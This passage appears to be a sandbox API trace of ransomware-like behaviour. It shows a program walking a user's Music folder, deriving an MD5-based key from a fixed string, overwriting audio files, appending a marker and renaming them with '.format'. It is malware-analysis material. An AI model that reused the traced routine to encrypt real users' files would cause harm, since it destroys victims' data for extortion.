hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.010] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x8cec, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x8cec, lpOverlapped=0x0) returned 1 [0069.011] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0069.011] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8cf1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0069.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0069.011] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0069.011] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.011] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.011] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.011] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.011] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.011] CloseHandle (hObject=0x5c8) returned 1 [0069.012] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3284030 [0069.012] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0069.012] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3284030 | out: hHeap=0x5d0000) returned 1 [0069.012] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\qD42xM.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\2hbpybcnbrax3bvqy_4\\qd42xm.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\qD42xM.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\2hbpybcnbrax3bvqy_4\\qd42xm.wav.format")) returned 1 [0069.013] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.013] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.014] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.015] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba80e660, ftCreationTime.dwHighDateTime=0x1d4d05e, ftLastAccessTime.dwLowDateTime=0x900a760, ftLastAccessTime.dwHighDateTime=0x1d4d435, ftLastWriteTime.dwLowDateTime=0x900a760, ftLastWriteTime.dwHighDateTime=0x1d4d435, nFileSizeHigh=0x0, nFileSizeLow=0x15625, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vbIN9brYc.wav", cAlternateFileName="VBIN9B~1.WAV")) returned 1 [0069.015] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.015] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0069.015] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.015] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\vbIN9brYc.wav") returned=".wav" [0069.015] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\vbIN9brYc.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\2hbpybcnbrax3bvqy_4\\vbin9bryc.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.015] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=87589) returned 1 [0069.015] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.017] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x155ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.017] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.018] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0069.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.018] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.018] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x15625, lpOverlapped=0x0) returned 1 [0069.019] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.019] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.019] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.019] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.019] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0069.020] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.020] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.020] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.020] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.020] GetLastError () returned 0x0 [0069.020] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.020] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0069.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x15630) returned 0x32b2f40 [0069.020] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.020] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.020] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x15620, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x15620, lpOverlapped=0x0) returned 1 [0069.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0069.021] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x15625, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0069.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.021] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0069.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0069.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.021] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.021] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.021] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.021] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.021] CloseHandle (hObject=0x5c8) returned 1 [0069.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185980 [0069.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8d0) returned 0x3178dd8 [0069.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0069.024] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\vbIN9brYc.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\2hbpybcnbrax3bvqy_4\\vbin9bryc.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\vbIN9brYc.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\2hbpybcnbrax3bvqy_4\\vbin9bryc.wav.format")) returned 1 [0069.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.027] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.028] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.028] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfff2450, ftCreationTime.dwHighDateTime=0x1d4ca33, ftLastAccessTime.dwLowDateTime=0x96d95220, ftLastAccessTime.dwHighDateTime=0x1d4cca2, ftLastWriteTime.dwLowDateTime=0x96d95220, ftLastWriteTime.dwHighDateTime=0x1d4cca2, nFileSizeHigh=0x0, nFileSizeLow=0xdb43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZtnE68o.m4a", cAlternateFileName="")) returned 1 [0069.028] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.028] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0069.028] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.028] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\ZtnE68o.m4a") returned=".m4a" [0069.028] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\ZtnE68o.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\2hbpybcnbrax3bvqy_4\\ztne68o.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.029] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=56131) returned 1 [0069.029] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.031] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xdb1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.031] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0069.032] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0069.032] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.032] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xdb43, lpOverlapped=0x0) returned 1 [0069.032] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.032] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.032] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.032] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.032] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0069.033] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.033] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.033] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.033] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.033] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.033] GetLastError () returned 0x0 [0069.033] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.034] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0069.034] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.034] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xdb40) returned 0x32b2f40 [0069.034] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.034] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.034] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xdb3e, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xdb3e, lpOverlapped=0x0) returned 1 [0069.034] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0069.034] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xdb43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.034] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.034] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0069.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.034] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0069.034] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0069.034] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.035] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.035] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.035] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.035] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.035] CloseHandle (hObject=0x5c8) returned 1 [0069.036] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3284030 [0069.036] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0069.036] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3284030 | out: hHeap=0x5d0000) returned 1 [0069.036] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\ZtnE68o.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\2hbpybcnbrax3bvqy_4\\ztne68o.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\ZtnE68o.m4a.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\2hbpybcnbrax3bvqy_4\\ztne68o.m4a.format")) returned 1 [0069.036] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.036] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.038] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfff2450, ftCreationTime.dwHighDateTime=0x1d4ca33, ftLastAccessTime.dwLowDateTime=0x96d95220, ftLastAccessTime.dwHighDateTime=0x1d4cca2, ftLastWriteTime.dwLowDateTime=0x96d95220, ftLastWriteTime.dwHighDateTime=0x1d4cca2, nFileSizeHigh=0x0, nFileSizeLow=0xdb43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZtnE68o.m4a", cAlternateFileName="")) returned 0 [0069.038] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0069.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31eda08 | out: hHeap=0x5d0000) returned 1 [0069.038] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2db8 [0069.038] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0069.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2e50 | out: hHeap=0x5d0000) returned 1 [0069.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2e50 [0069.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.038] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.038] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\z50Nlqq\\") returned="z50Nlqq\\" [0069.038] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\") returned="I1WhKlENAwKn\\" [0069.038] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\") returned="c8v-4o\\" [0069.039] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0069.039] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.039] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.039] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.039] PathFindFileNameW (pszPath="") returned="" [0069.039] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\z50Nlqq\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb489df80, ftCreationTime.dwHighDateTime=0x1d4ca61, ftLastAccessTime.dwLowDateTime=0xd17eb540, ftLastAccessTime.dwHighDateTime=0x1d4c7e4, ftLastWriteTime.dwLowDateTime=0xd17eb540, ftLastWriteTime.dwHighDateTime=0x1d4c7e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.039] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb489df80, ftCreationTime.dwHighDateTime=0x1d4ca61, ftLastAccessTime.dwLowDateTime=0xd17eb540, ftLastAccessTime.dwHighDateTime=0x1d4c7e4, ftLastWriteTime.dwLowDateTime=0xd17eb540, ftLastWriteTime.dwHighDateTime=0x1d4c7e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.039] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9f2bcc0, ftCreationTime.dwHighDateTime=0x1d4c859, ftLastAccessTime.dwLowDateTime=0x9ae965f0, ftLastAccessTime.dwHighDateTime=0x1d4c99e, ftLastWriteTime.dwLowDateTime=0x9ae965f0, ftLastWriteTime.dwHighDateTime=0x1d4c99e, nFileSizeHigh=0x0, nFileSizeLow=0x165d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0m0V.m4a", cAlternateFileName="")) returned 1 [0069.039] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\z50Nlqq\\0m0V.m4a") returned=".m4a" [0069.039] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\z50Nlqq\\0m0V.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\z50nlqq\\0m0v.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.039] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=91600) returned 1 [0069.039] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.042] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x165aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.042] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, 